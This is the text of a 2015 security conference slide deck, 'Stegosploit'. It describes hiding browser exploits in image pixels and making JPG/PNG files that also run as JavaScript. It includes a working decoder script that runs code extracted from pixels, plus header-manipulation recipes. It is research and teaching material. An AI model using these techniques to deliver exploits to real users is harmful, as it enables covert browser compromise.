Stegosploit
Hacking with Pictures
Saumil Shah
Hack in the Box
Amsterdam 2015
About Me

Saumil Shah
CEO, Net-Square

@therealsaumil

linkedin saumilshah

hacker, trainer, speaker, author, photographer educating, entertaining and exasperating audiences since 1999
"A good exploit is one that is delivered with style"
Stegosnapt - Motivations

I <3 Photography + I <3 Browser Exploits

= I <3 (Photography + Browser Exploits)
Hiding In Plain Sight

can't stop what you can't see
A bit of History

- Traditional Steganography
- GIFAR concatenation
- PHP/ASP webshells appending/embedding tags
- XSS in EXIF data
Stegosploit is...

not a 0-day attack with a cute logo
not exploit code hidden in EXIF
not a PHP/ASP webshell
not a new XSS vector

Stegosploit lets you deliver existing BROWSER EXPLOITS using pictures.
Steganography

"The message does not attract attention to itself as an object of scrutiny"
Images are INNOCENT...
...but Exploits are NOT!
Dangerous Content Is ... Dangerous
Hacking with pictures, in style!

- Network traffic - ONLY image files.
- Exploit hidden in pixels.
  - no visible aberration or distortion.
- Image "auto runs" upon load.
  - decoder code bundled WITH the image.
- Exploit automatically decoded and triggered.
- ...all with 1 image.
Step 1

Hiding the Exploit Code in the Image
Hiding an Exploit in an Image

- Simple steganography techniques.
- Encode exploit code bitstream into lesser significant bits of RGB values.
- Spread the pixels around e.g. 4x4 grid.
Face Painting an Exploit

IE Use-After-Free CVE-2014-0282
Image separated into Bit Layers

kevin.jpg

Bit layer 7 (MSB)
Bit layer 6
Bit layer 5
Bit layer 4
Bit layer 3
Bit layer 2
Bit layer 1
Bit layer 0 (LSB)
Encoding data at bit layer 7

Significant visual distortion.
Encoding data at bit layer 2

Negligible visual distortion while encoding at lower layers.
Encoding data at bit layer 2

Final encoded image shows no perceptible visual aberration or distortion.

Encoded pixels visible in certain parts when bit layer 2 is filtered and equalized.
Encoding on JPG

- JPG – lossy compression.
- Pixels may be approximated to their nearest neighbours.
- Overcoming lossy compression by ITERATIVE ENCODING.
- Can't go too deep down the bit layers.
- IE's JPG encoder is terrible!
- Browser specific JPG quirks.
Encoding on PNG

• Lossless compression.
• Can encode at bit layer 0.  
  – minimum visual distortion.
• Independent of browser library implementation.
• Single pass encoding.

• JPG is still more popular than PNG!
Step 2

Decoding the encoded Pixel Data
HTML5 CANVAS is our friend!

• Read image pixel data using JS.

• In-browser decoding of steganographically encoded images.
The Decoder

```javascript
var bL=2,eC=3,gr=3;function i0(){px.onclick=dID}function dID(){var b=document.createElement("canvas");px.parentNode.insertBefore(b,px);b.width=px.width;b.height=px.height;var m=b.getContext("2d");m.drawImage(px,0,0);px.parentNode.removeChild(px);var f=m.getImageData(0,0,b.width,b.height).data;var h=[],j=0,g=0;var c=function(p,o,u){n=(u*b.width+o)*4;var z=1<<bL;var s=(p[n]&z)>>bL;var q=(p[n+1]&z)>>bL;var a=(p[n+2]&z)>>bL;var t=Math.round((s+q+a)/3);switch(eC){case 0:t=s;break;case 1:t=q;break;case 2:t=a;break;}
return(String.fromCharCode(t+48))};var k=function(a){for(var q=0,o=0;o<a*8;o++)h[q++]=c(f,j,g);j+=gr;if(j>=b.width){j=0;g+=gr}};k(6);var d=parseInt(bTS(h.join("")));k(d);try{CollectGarbage()}catch(e){}exc(bTS(h.join(""))}function bTS(b){var a="";for(i=0;i<b.length;i+=8)a+=String.fromCharCode(parseInt(b.substr(i,8),2));return(a)}function exc(b){var a=setTimeout((new Function(b)),100)}window.onload=i0;
```
Step 3

Images that "Auto Run"
When is an image not an image?

When it is Javascript!
IMAJS – The Concept

$img$ sees pixels
<script> sees code
#YourPointOfView

- Holy
- Sh**
- Bipolar
- Content!
Cross Container Scripting - XCS

It's a TRAP!
Thu Nov 08 2012 03:08:42 GMT+0530 (IST)

<img src="itsatrap.gif">
<script src="itsatrap.gif">
</script>
# Image Formats Supported

<table>
<thead>
<tr>
<th></th>
<th>BMP</th>
<th>GIF</th>
<th>PNG</th>
<th>JPG</th>
</tr>
</thead>
<tbody>
<tr>
<td>IMAJS</td>
<td>Easy</td>
<td>Easy</td>
<td>Hard (00 in header)</td>
<td>Hard (Lossy)</td>
</tr>
<tr>
<td>Alpha</td>
<td></td>
<td></td>
<td>Yes</td>
<td>No</td>
</tr>
<tr>
<td>&lt;CANVAS&gt;</td>
<td>?</td>
<td></td>
<td>Yes</td>
<td>Yes</td>
</tr>
<tr>
<td>Colours</td>
<td>RGB</td>
<td>Paletted</td>
<td>RGB</td>
<td>RGB</td>
</tr>
<tr>
<td>Extra Data</td>
<td></td>
<td></td>
<td></td>
<td>EXIF</td>
</tr>
</tbody>
</table>
All new IMAJS-JPG!

I JPG

JPG + HTML + JS + CSS

Hat tip: Michael Zalewski @lcamtuf
The Secret Sauce

shhh.. don’t tell anyone
Be conservative in what you send, be liberal in what you accept.

- Jon Postel
JPG Secret Sauce

Regular JPEG Header

| FF D8 FF E0 | 00 10 | 4A 46 49 46 00 | 01 01 01 01 2C |
| Start marker | length | "J F I F \0" |

| 01 2C 00 00 | FF E2 | ... |
| next section... |

Modified JPEG Header

| FF D8 FF E0 | 2F 2A | 4A 46 49 46 00 | 01 01 01 01 2C |
| Start marker | length | "J F I F \0" |

| 01 2C 00 00 | 41 41 41 41 41 ...12074...41 41 41 | FF E2 | ... |
| whole lot of extra space! |
| next section... |
JPG Secret Sauce

Modified JPEG Header

`FF D8 FF E0 2F 2A 4A 46 49 46 00 01 01 01 01 2C`

Start marker, length, "J F I F \0"

`01 2C 00 00 41 41 41 41 41...12074..41 41 41 FF E2 ...`

whole lot of extra space!

See the difference?

`FF D8 FF E0 /* 4A 46 49 46 00 01 01 01 01 2C`

Start marker, comment!

`01 2C 00 00 */='';alert(Date());;/*...41 41 41 FF E2 ...`

Javascript goes here

next section...
All new IMAJS-PNG!

I PNG

PNG +HTML +JS +CSS
PNG Secret Sauce - FourCC

PNG Header

<table>
<thead>
<tr>
<th>89 50 4E 47 0D 0A 1A 0A</th>
</tr>
</thead>
<tbody>
<tr>
<td>89 50 4E 47 0D 0A 1A 0A</td>
</tr>
</tbody>
</table>

IHDR

<table>
<thead>
<tr>
<th>length</th>
<th>IHDR</th>
<th>chunk data</th>
<th>CRC</th>
</tr>
</thead>
</table>

IDAT chunk

<table>
<thead>
<tr>
<th>length</th>
<th>IDAT</th>
<th>pixel data</th>
<th>CRC</th>
</tr>
</thead>
</table>

IDAT chunk

<table>
<thead>
<tr>
<th>length</th>
<th>IDAT</th>
<th>pixel data</th>
<th>CRC</th>
</tr>
</thead>
</table>

IDAT chunk

<table>
<thead>
<tr>
<th>length</th>
<th>IDAT</th>
<th>pixel data</th>
<th>CRC</th>
</tr>
</thead>
</table>

IEND chunk

<table>
<thead>
<tr>
<th>0</th>
<th>IEND</th>
<th>CRC</th>
</tr>
</thead>
</table>
# PNG Secret Sauce - FourCC

<table>
<thead>
<tr>
<th>PNG Header</th>
<th>89 50 4E 47 0D 0A 1A 0A</th>
</tr>
</thead>
<tbody>
<tr>
<td>IHDR</td>
<td>length IHDR chunk data</td>
</tr>
<tr>
<td>extra tEXt chunk</td>
<td>length tEXt &lt;html&gt; &lt;!--</td>
</tr>
<tr>
<td>extra tEXt chunk</td>
<td>length tEXt _random chars ...</td>
</tr>
<tr>
<td></td>
<td>... random chars ...</td>
</tr>
<tr>
<td></td>
<td>--&gt; &lt;decoder HTML and script goes here ..&gt;</td>
</tr>
<tr>
<td></td>
<td>&lt;script type=text/undefined&gt;/*... CRC</td>
</tr>
<tr>
<td>IDAT chunk</td>
<td>length IDAT pixel data</td>
</tr>
<tr>
<td>IDAT chunk</td>
<td>length IDAT pixel data</td>
</tr>
<tr>
<td>IDAT chunk</td>
<td>length IDAT pixel data</td>
</tr>
<tr>
<td>IEND chunk</td>
<td>0 IEND CRC</td>
</tr>
</tbody>
</table>

The Finer Points of Package Delivery
A Few Browser Tricks...

Content Sniffing

Expires and Cache-Control

Clever CSS
# Content Sniffing

<table>
<thead>
<tr>
<th>Test description</th>
<th>MSIE6</th>
<th>MSIE7</th>
<th>MSIE8</th>
<th>FF2</th>
<th>FF3</th>
<th>Safari</th>
<th>Opera</th>
<th>Chrome</th>
<th>Android</th>
</tr>
</thead>
<tbody>
<tr>
<td>Is HTML sniffed when no Content-Type received?</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
</tr>
<tr>
<td>Content sniffing buffer size when no Content-Type seen</td>
<td>256 B</td>
<td>∞</td>
<td>∞</td>
<td>1 kB</td>
<td>1 kB</td>
<td>~130 kB</td>
<td>1 kB</td>
<td>∞</td>
<td></td>
</tr>
<tr>
<td>Is HTML sniffed when a non-parseable Content-Type value received?</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>YES</td>
<td>YES</td>
<td>NO</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
</tr>
<tr>
<td>Is HTML sniffed on application/octet-stream documents?</td>
<td>YES</td>
<td>YES</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>YES</td>
<td>NO</td>
<td>NO</td>
<td></td>
</tr>
<tr>
<td>Is HTML sniffed on application-binary documents?</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td></td>
</tr>
<tr>
<td>Is HTML sniffed on unknown/unknown (or application/unknown) documents?</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>YES</td>
<td>NO</td>
</tr>
<tr>
<td>Is HTML sniffed on MIME types not known to browser?</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td></td>
</tr>
<tr>
<td>Is HTML sniffed on unknown MIME when .html, .xml, or .txt seen in URL parameters?</td>
<td>YES</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
</tr>
<tr>
<td>Is HTML sniffed on unknown MIME when .html, .xml, or .txt seen in URL path?</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
</tr>
<tr>
<td>Is HTML sniffed on text/plain documents (with or without file extension in URL)?</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>NO</td>
<td>NO</td>
<td>YES</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
</tr>
<tr>
<td>Is HTML sniffed on GIF served as image/jpeg?</td>
<td>YES</td>
<td>YES</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
</tr>
<tr>
<td>Is HTML sniffed on corrupted images?</td>
<td>YES</td>
<td>YES</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
</tr>
<tr>
<td>Content sniffing buffer size for second-guessing MIME type</td>
<td>256 B</td>
<td>256 B</td>
<td>256 B</td>
<td>n/a</td>
<td>n/a</td>
<td>∞</td>
<td>n/a</td>
<td>n/a</td>
<td>n/a</td>
</tr>
<tr>
<td>May image/svg+xml document contain HTML xmlns payload?</td>
<td>(YES)</td>
<td>(YES)</td>
<td>(YES)</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>(YES)</td>
</tr>
<tr>
<td>HTTP error codes ignored when rendering sub-resources?</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
</tr>
</tbody>
</table>

Credits: Michael Zalewski @lcamtuf
Dive Into Cache

GET /stego.jpg

HTTP 200 OK
Expires: May 30 2015

GET /stego.jpg
o hai

GET /stego.jpg
o hai

o hai

o hai
IE CInput Use-After-Free

\[ \text{stego} + \text{IMAJS} = \text{PWN!} \]

CVE-2014-0282
Firefox onreadystatechange UAF

stego + IMAJS = PWN!

CVE-2013-1690
PAYLOADS GO BACK IN TIME
**ATTACK TIMELINE**

**I'M IN UR BASE**

GET `/lolcat.png`
200 OK
Expires: 6 months

Exploit code encoded in image.
EVIL

**.....KILLING UR DOODZ**

GET `/lolcat.png`

Load from cache

Decoder script references image from cache.
SAFE

FEB 2015

MAY 2015
Conclusions - Offensive

- Lot of possibilities!
- Weird containers, weird encoding, weird obfuscation.
- Image attacks emerging "in the wild".
- CANVAS + CORS = spread the payloads.
- Not limited to just browsers.
Conclusions - Defensive

• DFIR nightmare.
  – how far back does your window of inspection go?
• Can't rely on extensions, file headers, MIME types or magic numbers.
• Wake up call to browser-wallahs.
• Quick "fix" – re-encode all images!
FAQs

- Why did you do this?
- Is Chrome safe? Safari?
- Won't an IMAJS file be detected on the wire? (HTML mixed in JPG/PNG data)
- Can I encode Flash exploits?
- Is this XSS?
- Are you releasing the code? PoC || GTFO
Greets!

@lcamtuf
@angealbertini
@0x6D6172696F
Kevin McPeake

#HITB2015AMS
.my, .nl crew!

Photography by Saumil Shah
THE END
Saumil Shah
@therealsaumil saumilshah
saumil@net-square.com

Photography
flickr.com/saumil
www.spectral-lines.in

the bird is the word